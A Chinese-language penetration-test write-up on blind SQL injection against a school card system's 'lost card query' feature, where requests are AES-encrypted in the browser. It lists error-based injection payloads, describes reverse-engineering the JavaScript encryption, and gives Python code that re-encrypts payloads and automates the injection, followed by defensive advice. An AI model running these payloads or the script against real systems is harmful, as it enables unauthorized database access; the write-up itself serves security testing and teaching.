js逆向 | AES加密下的SQL注入
字数 1112 2025-08-29 08:30:18
AES加密下的SQL注入分析与利用
一、案例背景
这是一个关于某校一卡通系统"丢卡查询"功能点的安全测试案例。测试人员发现该系统存在SQL注入漏洞,但请求数据经过了AES加密,需要通过JavaScript逆向分析来构造有效的攻击载荷。
二、漏洞发现过程
1. 初步测试
- 测试人员使用甲方提供的账号密码登录系统
- 访问"丢卡查询"功能点
- 尝试输入单引号(
')进行测试- 单引号输入后出现报错
- 两个单引号(
'')输入后无报错
- 初步判断存在SQL注入漏洞
2. 请求分析
- 抓包发现请求数据被加密
- 请求路径为
xxxx/InvokFront - 数据以加密形式传输,无法直接修改SQL语句
三、特征盲注技术
尽管请求被加密,测试人员发现可以利用报错特征进行盲注:
1. 闭合方式确认
- 构造payload:
1'and 1=1/1 and'1'='1→ 正常无报错 - 构造payload:
1'and 1=1/0 and'1'='1→ 报错 - 确认是单引号闭合的SQL注入
2. 报错原理
- 利用某些数据库(如Oracle)中0不能作为分母的特性
- 通过除法运算触发条件性报错
3. 盲注示例
- 获取用户名长度:
1'and 1=1/(n-length(user)) and'1'='1- 通过调整n的值(从1到10)直到报错,确定用户名长度
- 案例中确定用户名为6个字符
四、JavaScript逆向分析
为了构造有效的加密payload,需要进行JS逆向:
1. 定位加密函数
- 使用浏览器开发者工具
- 在Sources -> XHR/fetch Breakpoints中设置断点
- 触发请求后查看调用栈
2. 分析加密过程
- 搜索关键词"123456"在JS文件中的处理
- 跟踪数据从明文到密文的转换过程
- 确认使用的是AES加密算法
3. 提取加密参数
需要获取以下关键信息:
- 加密密钥(Key)
- 初始化向量(IV)
- 加密模式(如CBC、ECB等)
- 填充方式(如PKCS7)
五、自动化攻击实现
1. 加密函数重现
使用Python重现JavaScript中的加密逻辑:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
def encrypt_aes(plaintext, key, iv):
cipher = AES.new(key.encode('utf-8'), AES.MODE_CBC, iv.encode('utf-8'))
padded_data = pad(plaintext.encode('utf-8'), AES.block_size)
encrypted = cipher.encrypt(padded_data)
return base64.b64encode(encrypted).decode('utf-8')
2. 自动化注入脚本
结合加密和SQL注入:
import requests
def sql_injection(payload):
# 1. 构造SQL注入语句
sql = f"1'and 1=1/({payload}) and'1'='1"
# 2. 加密
encrypted = encrypt_aes(sql, "密钥", "IV")
# 3. 发送请求
data = {"data": encrypted}
response = requests.post("xxxx/InvokFront", data=data)
# 4. 判断结果
return "报错特征" in response.text
六、防御建议
1. 针对开发人员
- 使用参数化查询或预编译语句
- 实施最小权限原则
- 输入验证和过滤
2. 针对加密传输
- 不要依赖客户端加密作为安全措施
- 实施服务端输入验证
- 使用HTTPS保护传输过程
3. 其他措施
- 实施WAF防护
- 定期安全测试
- 错误信息处理
七、总结
本案例展示了即使在请求加密的情况下,SQL注入漏洞仍然可能被利用。关键在于:
- 识别报错特征进行盲注
- 逆向分析客户端加密逻辑
- 重现加密过程构造有效payload
这强调了安全防御需要多层次、全方位的考虑,不能仅依赖单一的安全措施。